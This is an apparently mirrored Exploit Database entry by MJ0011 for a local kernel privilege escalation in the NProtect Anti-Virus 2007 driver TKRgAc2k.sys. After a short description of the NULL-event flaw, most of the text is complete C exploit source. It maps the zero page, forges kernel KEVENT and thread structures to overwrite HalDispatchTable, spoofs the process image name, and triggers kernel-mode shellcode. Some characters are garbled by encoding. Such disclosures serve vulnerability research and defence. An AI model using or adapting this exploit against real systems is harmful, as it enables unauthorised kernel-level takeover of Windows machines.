NProtect Anti-Virus 2007 < 2010.5.11.1 - Local Privilege Escalation

• Exploit Database
• 13 阅读

• 作者： MJ0011
  日期： 2010-12-17
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/15762/

• NProtectAnti-Virus 2007withTKRgAc2k.sys<= 2010.5.11.1 
  Local Kernel Mode Privilege Escalation Vulnerability
  
  
  AUTHOR
  MJ0011
  
  EMAIL
  th_decoder$126.com
  
  VULNERABLE PRODUCTS
  NProtect Anti-Virus 2007
  
  DETAILS:
  TKRgAc2k.sys create a device called "TKRgAc",and handles these io control codes for:
  
  0x22140:Receive registry monitor key value name MD5
  0x221448:Receive Registry monitor key name 
  0x221444:Receive Registry key monitor enable
  0x221410:Receive virus name that matchs the key value name MD5
  0x220c54:Create share memory for receive virus notification
  0x220c5c:Receive event handle for send virus notification
  Tkacrg2k.sys create FileObject->FsContext for each process to open the device,and save key/key value /virus name /event object in FsContext. Here contains a design error , if a registry operation is intercepted and match the rules , but event handle has not been set, TKAcRg2k.sys will still be nofity of this event to ring3 with KeSetEvent(NULL,0). An attacker can allocate a fake KEVENT structure at zero address and overwrite any address with KEvent->WaitThreadList->KThread->WaitListEntry 's remove list entry operation. 
  
  
  
  EXPLOIT CODE:
  // NP0DAY.cpp : Defines the entry point for the console application.
  //
  #include "stdafx.h"
  #include "windows.h"
  typedef struct _STRING {
  USHORT Length;
  USHORT MaximumLength;
  PCHAR Buffer;
  } STRING;
  typedef STRING *PSTRING;
  typedef struct _RTL_DRIVE_LETTER_CURDIR {
  USHORT Flags;
  USHORT Length;
  ULONG TimeStamp;
  STRING DosPath;
  } RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR;
  typedef struct _UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTRBuffer;
  } UNICODE_STRING;
  typedef UNICODE_STRING *PUNICODE_STRING;
  typedef const UNICODE_STRING *PCUNICODE_STRING;
  #define RTL_MAX_DRIVE_LETTERS 32
  #define RTL_DRIVE_LETTER_VALID (USHORT)0x0001
  typedef struct _CURDIR {
  UNICODE_STRING DosPath;
  HANDLE Handle;
  } CURDIR, *PCURDIR;
  typedef struct _RTL_USER_PROCESS_PARAMETERS {
  ULONG MaximumLength;
  ULONG Length;
  ULONG Flags;
  ULONG DebugFlags;
  HANDLE ConsoleHandle;
  ULONGConsoleFlags;
  HANDLE StandardInput;
  HANDLE StandardOutput;
  HANDLE StandardError;
  CURDIR CurrentDirectory;// ProcessParameters
  UNICODE_STRING DllPath; // ProcessParameters
  UNICODE_STRING ImagePathName; // ProcessParameters
  UNICODE_STRING CommandLine; // ProcessParameters
  PVOID Environment;// NtAllocateVirtualMemory
  ULONG StartingX;
  ULONG StartingY;
  ULONG CountX;
  ULONG CountY;
  ULONG CountCharsX;
  ULONG CountCharsY;
  ULONG FillAttribute;
  ULONG WindowFlags;
  ULONG ShowWindowFlags;
  UNICODE_STRING WindowTitle; // ProcessParameters
  UNICODE_STRING DesktopInfo; // ProcessParameters
  UNICODE_STRING ShellInfo; // ProcessParameters
  UNICODE_STRING RuntimeData; // ProcessParameters
  RTL_DRIVE_LETTER_CURDIR CurrentDirectores[ RTL_MAX_DRIVE_LETTERS ];
  } RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
  typedef struct _PEB {
  BOOLEAN InheritedAddressSpace;// These four fields cannot change unless the
  
  BOOLEAN ReadImageFileExecOptions; //
  BOOLEAN BeingDebugged;//
  BOOLEAN SpareBool;//
  HANDLE Mutant;// INITIAL_PEB structure is also updated.
  
  PVOID ImageBaseAddress;
  PVOID Ldr;
  struct _RTL_USER_PROCESS_PARAMETERS *ProcessParameters;
  } PEB, *PPEB;
  typedef LONG KPRIORITY;
  typedef struct _PROCESS_BASIC_INFORMATION {
  LONG ExitStatus;
  PVOID PebBaseAddress;
  ULONG_PTR AffinityMask;
  KPRIORITY BasePriority;
  ULONG_PTR UniqueProcessId;
  ULONG_PTR InheritedFromUniqueProcessId;
  } PROCESS_BASIC_INFORMATION,*PPROCESS_BASIC_INFORMATION;
  typedef enum _EVENT_TYPE {
  NotificationEvent,
  SynchronizationEvent
  } EVENT_TYPE;
  typedef struct _DISPATCHER_HEADER {
  union {
  struct {
  UCHAR Type;
  union {
  UCHAR Absolute;
  UCHAR NpxIrql;
  };
  union {
  UCHAR Size;
  UCHAR Hand;
  };
  union {
  UCHAR Inserted;
  BOOLEAN DebugActive;
  };
  };
  volatile LONG Lock;
  };
  LONG SignalState;
  LIST_ENTRY WaitListHead;
  } DISPATCHER_HEADER , *PDISPATCHER_HEADER;
  typedef const UNICODE_STRING *PCUNICODE_STRING;
  typedef enum _WAIT_TYPE {
  WaitAll,
  WaitAny
  } WAIT_TYPE;
  typedef struct _OBJECT_BASIC_INFORMATION {
  ULONG Attributes;
  ACCESS_MASK GrantedAccess;
  ULONG HandleCount;
  ULONG PointerCount;
  ULONG PagedPoolCharge;
  ULONG NonPagedPoolCharge;
  ULONG Reserved[ 3 ];
  ULONG NameInfoSize;
  ULONG TypeInfoSize;
  ULONG SecurityDescriptorSize;
  LARGE_INTEGER CreationTime;
  } OBJECT_BASIC_INFORMATION, *POBJECT_BASIC_INFORMATION;
  typedef struct _KWAIT_BLOCK {
  LIST_ENTRY WaitListEntry;
  PVOID kThread;
  PVOID Object;
  struct _KWAIT_BLOCK *NextWaitBlock;
  USHORT WaitKey;
  UCHAR WaitType;
  } KWAIT_BLOCK, *PKWAIT_BLOCK, *PRKWAIT_BLOCK;
  #include "malloc.h"
  PVOID GetInfoTable(ULONG ATableType)
  {
  ULONG mSize = 0x4000;
  PVOID mPtr = NULL;
  LONG status;
  HMODULE hlib = GetModuleHandle("ntdll.dll");
  PVOID pZwQuerySystemInformation = GetProcAddress(hlib , "ZwQuerySystemInformation");
  
  do
  {
  mPtr = malloc(mSize);
  if (mPtr)
  {
  __asm
  {
  push 0
  push mSize
  push mPtr
  push ATableType
  call pZwQuerySystemInformation
  mov status , eax
  }
  }
  else
  {
  return NULL;
  }
  if (status == 0xc0000004)
  {
  free(mPtr);
  mSize = mSize * 2;
  }
  } while (status == 0xc0000004);
  if (status == 0)
  {
  return mPtr;
  }
  free(mPtr);
  return NULL;
  }
  typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
  USHORT UniqueProcessId;
  USHORT CreatorBackTraceIndex;
  UCHAR ObjectTypeIndex;
  UCHAR HandleAttributes;
  USHORT HandleValue;
  PVOID Object;
  ULONG GrantedAccess;
  } SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
  typedef struct _SYSTEM_HANDLE_INFORMATION {
  ULONG NumberOfHandles;
  SYSTEM_HANDLE_TABLE_ENTRY_INFO Information[ 1 ];
  } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
  enum { SystemModuleInformation = 11,
  SystemHandleInformation = 16 };
  typedef struct {
  ULONG Unknown1;
  ULONG Unknown2;
  PVOID Base;
  ULONG Size;
  ULONG Flags;
  USHORT Index;
  USHORT NameLength;
  USHORT LoadCount;
  USHORT PathLength;
  CHARImageName[256];
  } SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
  typedef struct {
  ULONG Count;
  SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
  } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
  typedef VOID (WINAPI *PINBV_ACQUIRE_DISPLAY_OWNERSHIP)(VOID);
  typedef BOOLEAN (WINAPI *PINBV_RESET_DISPLAY)(VOID);
  typedef VOID (WINAPI *PINBV_SOLID_COLOR_FILL)(
  ULONG x1,
  ULONG y1,
  ULONG x2,
  ULONG y2,
  ULONG color
  );
  typedef ULONG (WINAPI *PINBV_SET_TEXT_COLOR)(
  ULONG Color
  );
  typedef
  VOID
  (*INBV_DISPLAY_STRING_FILTER)(
  PUCHAR *Str
  );
  typedef VOID (WINAPI *PINBV_INSTALL_DISPLAY_STRING_FILTER)(
  INBV_DISPLAY_STRING_FILTER DisplayStringFilter
  );
  typedef BOOLEAN (WINAPI *PINBV_ENABLE_DISPLAY_STRING)(
  BOOLEAN bEnable
  );
  typedef VOID (WINAPI *PINVB_SET_SCROLL_REGION)(
  ULONG x1,
  ULONG y1,
  ULONG x2,
  ULONG y2
  );
  typedef VOID (WINAPI *PINBV_DISPLAY_STRING)(
  PUCHAR Str
  );
  PINBV_ACQUIRE_DISPLAY_OWNERSHIP InbvAcquireDisplayOwnership = 0 ; 
  PINBV_RESET_DISPLAY InbvResetDisplay = 0 ; 
  PINBV_SOLID_COLOR_FILL InbvSolidColorFill = 0 ; 
  PINBV_SET_TEXT_COLOR InbvSetTextColor = 0 ; 
  PINBV_INSTALL_DISPLAY_STRING_FILTER InbvInstallDisplayStringFilter = 0 ; 
  PINBV_ENABLE_DISPLAY_STRING InbvEnableDisplayString = 0 ; 
  PINVB_SET_SCROLL_REGION InbvSetScrollRegion = 0 ; 
  PINBV_DISPLAY_STRING InbvDisplayString= 0 ; 
  #define VGA_COLOR_BLACK 0
  #define VGA_COLOR_RED 1
  #define VGA_COLOR_GREEN 2
  #define VGA_COLOR_GR 3
  #define VGA_COLOR_BULE 4
  #define VGA_COLOR_DARK_MEGAENTA 5
  #define VGA_COLOR_TURQUOISE 6
  #define VGA_COLOR_GRAY 7
  #define VGA_COLOR_BRIGHT_GRAY 8
  #define VGA_COLOR_BRIGHT_RED 9
  #define VGA_COLOR_BRIGHT_GREEN 10
  #define VGA_COLOR_BRIGHT_YELLOW 11
  #define VGA_COLOR_BRIGHT_BULE 12
  #define VGA_COLOR_BRIGHT_PURPLE 13
  #define VGA_COLOR_BRIGHT_TURQUOISE 14
  #define VGA_COLOR_WHITE 15
  UCHAR DisplayString[] = 
  ""
  
  ""
  
  ""
  
  "---- ===== EXPLOIT SUCCESSFULLY ==== ---- "
  
  ""
  
  ""
  
  " NProtect AntiVirus 2007 Local Privilege Escalation Exploit "
  
  ""
  
  " VULNERABLE PRODUCT "
  
  ""
  
  " NProtect AntiVirus 2007"
  
  ""
  
  ""
  
  " VULERABLE FILE "
  
  " TKRgAc2k.sys <= 2010.5.11.1"
  
  ""
  
  " AUTHOR "
  
  ""
  
  " MJ0011 "
  
  " th_decoder$126.com "
  
  ""
  
  " 2010-9-7 "
  
  ""
  
  ""
  
  "";
  
  VOID InbvShellCode()
  {
  //DISABLE INTERRUPT
  __asm
  {
  cli
  }
  //RESET TO VGA MODE
  InbvAcquireDisplayOwnership();
  InbvResetDisplay();
  //FILL FULL SCREEN
  InbvSolidColorFill(0 , 0 , 639 , 479 ,VGA_COLOR_BLACK);
  //SET TEXT COLOR
  InbvSetTextColor(VGA_COLOR_BRIGHT_GREEN);
  InbvInstallDisplayStringFilter(NULL);
  InbvEnableDisplayString(TRUE);
  InbvSetScrollRegion( 0 , 0 , 639 ,477);
  InbvDisplayString(DisplayString);
  while(TRUE)
  {
  };
  }
  BOOL InbvInit(PVOID ntosbase , PSTR ntosname)
  {
  HMODULE hlib = LoadLibrary(ntosname);
  if (hlib == NULL)
  {
  return FALSE ; 
  }
  InbvAcquireDisplayOwnership = (PINBV_ACQUIRE_DISPLAY_OWNERSHIP)((ULONG)GetProcAddress(hlib , "InbvAcquireDisplayOwnership") - (ULONG)hlib + (ULONG)ntosbase);
  
  InbvResetDisplay = (PINBV_RESET_DISPLAY)((ULONG)GetProcAddress(hlib , "InbvResetDisplay") - (ULONG)hlib + (ULONG)ntosbase);
  
  InbvSolidColorFill = (PINBV_SOLID_COLOR_FILL)((ULONG)GetProcAddress(hlib , "InbvSolidColorFill") - (ULONG)hlib + (ULONG)ntosbase);
  
  InbvSetTextColor = (PINBV_SET_TEXT_COLOR)((ULONG)GetProcAddress(hlib , "InbvSetTextColor") - (ULONG)hlib + (ULONG)ntosbase);
  
  InbvInstallDisplayStringFilter = (PINBV_INSTALL_DISPLAY_STRING_FILTER)((ULONG)GetProcAddress(hlib , "InbvInstallDisplayStringFilter") - (ULONG)hlib + (ULONG)ntosbase);
  
  InbvEnableDisplayString = (PINBV_ENABLE_DISPLAY_STRING)((ULONG)GetProcAddress(hlib , "InbvEnableDisplayString") - (ULONG)hlib + (ULONG)ntosbase);
  
  InbvSetScrollRegion = (PINVB_SET_SCROLL_REGION)((ULONG)GetProcAddress(hlib , "InbvSetScrollRegion") - (ULONG)hlib + (ULONG)ntosbase);
  
  InbvDisplayString = (PINBV_DISPLAY_STRING)((ULONG)GetProcAddress(hlib , "InbvDisplayString") - (ULONG)hlib + (ULONG)ntosbase);
  
  if (InbvAcquireDisplayOwnership &&
  InbvResetDisplay &&
  InbvSolidColorFill &&
  InbvSetTextColor &&
  InbvInstallDisplayStringFilter &&
  InbvEnableDisplayString &&
  InbvSetScrollRegion &&
  InbvDisplayString)
  {
  return TRUE ; 
  }
  return FALSE ; 
  }
  typedef struct MD5_STRING{
  CHAR Md5[32];
  }MD5_STRING , *PMD5_STRING;
  typedef struct MD5_SEND{
  ULONG Md5Number ; 
  ULONG DataLen ; 
  MD5_STRING Md5String[2];
  }MD5_SEND , *PMD5_SEND;
  typedef struct MON_RULE_SEND
  {; 
  ULONG unknown ; 
  ULONG dataLen ; 
  CHAR RuleData1[10];
  CHAR RuleData2[9];
  }MON_RULE_SEND , *PMON_RULE_SEND;
  typedef struct VIRUS_NAME_RULE_SEND
  {
  ULONG NumberOfName ; 
  ULONG TotalDataLen ;
  CHAR Name[0x64];
  }VIRUS_NAME_RULE_SEND , *PVIRUS_NAME_RULE_SEND;
  int main(int argc, char* argv[])
  {
  printf("NProtect AntiVirus TKRgAc2k.sys <= 2010.5.11.1\n"
  "Local Kernel Mode Privilege Escalation Vulnerability POC\n\n"
  "Test On Windows XP SP3\n"
  "by MJ0011 th_decoder$126.com\n"
  "Press Enter....\n"
  );
  getchar();
  PSYSTEM_MODULE_INFORMATION pmi = (PSYSTEM_MODULE_INFORMATION)GetInfoTable(SystemModuleInformation);
  
  if (!InbvInit(pmi->Module[0].Base , strrchr(pmi->Module[0].ImageName , '\\')+1))
  {
  printf("cannot init inbv system\n");
  return 0 ;
  }
  HMODULE hntos = LoadLibrary(strrchr(pmi->Module[0].ImageName , '\\')+1);
  if (hntos == 0 )
  {
  printf("cannot load ntos\n");
  return 0 ; 
  }
  PVOID pHalDispatchTable = GetProcAddress(hntos , "HalDispatchTable");
  pHalDispatchTable = (PVOID)((ULONG)pHalDispatchTable - (ULONG)hntos);
  pHalDispatchTable = (PVOID)((ULONG)pHalDispatchTable + (ULONG)pmi->Module[0].Base);
  
  PVOID xHalQuerySystemInformationAddr = (PVOID)((ULONG)pHalDispatchTable+ sizeof(ULONG));
  
  FreeLibrary(hntos);
  PVOID palloc = GetProcAddress(GetModuleHandle("ntdll.dll") , "NtAllocateVirtualMemory");
  
  ULONG nsize = 0x1000 ; 
  PVOID pBase = (PVOID)0x1 ; 
  LONG status ;
  __asm
  {
  push 0x4
  push 0x3000
  lea eax , nsize
  push eax
  push 0 
  lea eax , pBase
  push eax
  push 0xffffffff
  call palloc
  mov status , eax
  }
  if (status != 0 )
  {
  printf("allocate at 0 failed! %08x\n",status);
  getchar();
  return 0 ; 
  }
  //build fake KEVENT
  PDISPATCHER_HEADER pdh = (PDISPATCHER_HEADER)0x0 ; 
  KWAIT_BLOCK kwb ; 
  BYTE pShellCode[0x20];
  KWAIT_BLOCK kwbpdh ; 
  pdh->Type = SynchronizationEvent;
  pdh->WaitListHead.Flink = (PLIST_ENTRY)&kwbpdh ; 
  PVOID pkthread = malloc(0x1000);
  kwbpdh.WaitType = WaitAny ; 
  kwbpdh.kThread = pkthread;
  *(ULONG*)((ULONG)pkthread+ 0x5c) = (ULONG)&kwb ; 
  kwb.WaitListEntry.Flink = (PLIST_ENTRY)pShellCode ; 
  kwb.WaitListEntry.Blink = (PLIST_ENTRY)xHalQuerySystemInformationAddr ; 
  kwb.NextWaitBlock = &kwb ; 
  //wait list entry
  *(ULONG*)((ULONG)pkthread+ 0x60) = 0 ; 
  //Thread->Timer->Header->Inserted 
  *(BOOLEAN*)((ULONG)pkthread+ 0xF3) = FALSE ;
  //Thread->Queue
  *(ULONG*)((ULONG)pkthread+ 0xe4) = NULL ; 
  #define LOW_REALTIME_PRIORITY 16 
  //thread->Priority
  *(BYTE*)((ULONG)pkthread+ 0x33) = LOW_REALTIME_PRIORITY ;
  //thread->eprocess
  PVOID pkprocess = malloc(0x1000);
  *(ULONG*)((ULONG)pkthread+ 0x44)= (ULONG)pkprocess;
  //kprocess->state
  *(BYTE*)((ULONG)pkprocess + 0x65) = 2 ;
  PVOID preadylist = malloc(0x1000);
  *(ULONG*)((ULONG)pkprocess + 0x44) = (ULONG)preadylist; 
  HANDLE hdev = CreateFile("\\\\.\\TKRgAc" , FILE_READ_ATTRIBUTES , FILE_SHARE_READ , 0 , OPEN_EXISTING , 0 , 0 );
  
  if (hdev == INVALID_HANDLE_VALUE)
  {
  printf("cannot open dev %u\n" , GetLastError());
  return 0 ; 
  }
  MD5_SEND ms ; 
  memset(&ms , 0 , sizeof(ms));
  ms.DataLen = 32 * 2 + 8 ; 
  ms.Md5Number = 1 ; 
  strcpy(ms.Md5String->Md5 , "202CB962AC59075B964B07152D234B70");
  //202CB962AC59075B964B07152D234B70 = "123"
  ULONG btr ; 
  if (!DeviceIoControl(hdev , 0x22140C, &ms , sizeof(ms) , NULL , 0 , &btr , 0))
  {
  printf("send md5 %u\n", GetLastError());
  getchar();
  return 0 ; 
  }
  MON_RULE_SEND mrs ; 
  memset(&mrs , 0 , sizeof(mrs));
  mrs.dataLen = 0x13 ;
  strcpy(mrs.RuleData1 , "*Classes*");
  strcpy(mrs.RuleData2 , "*CLSID*"); 
  if (!DeviceIoControl(hdev , 0x221448 , &mrs , sizeof(mrs) , NULL , 0 , &btr, 0 ))
  
  {
  printf("send rule %u\n",GetLastError());
  getchar();
  return 0 ; 
  }
  BOOLEAN open741 = FALSE ; 
  if (!DeviceIoControl(hdev , 0x221008 , &open741 , sizeof(BOOLEAN) , NULL , 0 , &btr , 0 ))
  
  {
  printf("open 741 %u\n",GetLastError());
  getchar();
  return 0 ; 
  }
  ULONG data[4];
  data[0] = 0x1dfff ; 
  data[1] = 0x0 ; 
  data[2] = 0x1 ; 
  data[3] = 0x1 ; 
  if (!DeviceIoControl(hdev , 0x221444 , &data , sizeof(ULONG) * 4 , NULL , 0 , &btr , 0 ))
  
  {
  printf("set 724 %u\n" , GetLastError());
  getchar();
  return 0 ; 
  }
  VIRUS_NAME_RULE_SEND vnrs ; 
  memset(&vnrs , 0 , sizeof(vnrs));
  strcpy(vnrs.Name , "VULN ATTACK !!!! :)");
  vnrs.NumberOfName = 1 ; 
  vnrs.TotalDataLen = 0x64 ; 
  if (!DeviceIoControl(hdev , 0x221410 , &vnrs , sizeof(vnrs ), NULL , 0 , &btr , 0 ))
  
  {
  printf("send virus name %u\n" , GetLastError());
  getchar();
  return 0 ; 
  }
  ULONG numbuf = 0x64 ; 
  ULONG outbuf[2];
  if (!DeviceIoControl(hdev , 0x220C54 ,&numbuf , sizeof(ULONG) , &outbuf , sizeof(ULONG) * 2, &btr , 0 ))
  
  {
  printf("set share memory %u\n" ,GetLastError());
  getchar();
  return 0 ; 
  }
  //fake PEB bypass check 
  PVOID pqp = GetProcAddress(GetModuleHandle("ntdll.dll") , "NtQueryInformationProcess");
  
  PROCESS_BASIC_INFORMATION pbi ; 
  nsize = sizeof(pbi);
  __asm
  {
  push 0 
  push nsize
  lea eax , pbi
  push eax
  push 0
  push 0xffffffff
  call pqp 
  }
  PPEB peb = (PPEB)pbi.PebBaseAddress;
  PVOID psavebuf = malloc(peb->ProcessParameters->ImagePathName.Length );
  RtlCopyMemory(psavebuf , peb->ProcessParameters->ImagePathName.Buffer , peb->ProcessParameters->ImagePathName.Length);
  
  RtlCopyMemory(peb->ProcessParameters->ImagePathName.Buffer , L"iexplore.exe" , 26 );
  
  HKEY hkey ; 
  if (RegOpenKey(HKEY_CLASSES_ROOT , "CLSID" , &hkey)==ERROR_SUCCESS)
  {
  DWORD regtype = REG_DWORD ; 
  DWORD Data= 0 ; 
  DWORD cbdata = 4; 
  //target KeSetEvent!
  RegQueryValueEx(hkey , "123" , NULL , ®type , (LPBYTE)&Data , &cbdata);
  }
  RtlCopyMemory(peb->ProcessParameters->ImagePathName.Buffer , psavebuf , peb->ProcessParameters->ImagePathName.Length);
  
  //set shellcode
  *(BYTE*)((ULONG)pShellCode) = 0xe9 ; 
  *(ULONG*)((ULONG)pShellCode + 0x1) = (ULONG)InbvShellCode - (ULONG)pShellCode - 0x5 ; 
  
  PVOID pqi = GetProcAddress(GetModuleHandle("ntdll.dll" ) , "NtQueryIntervalProfile");
  
  __asm
  {
  push 0 
  push 2
  call pqi 
  }
  return 0;
  }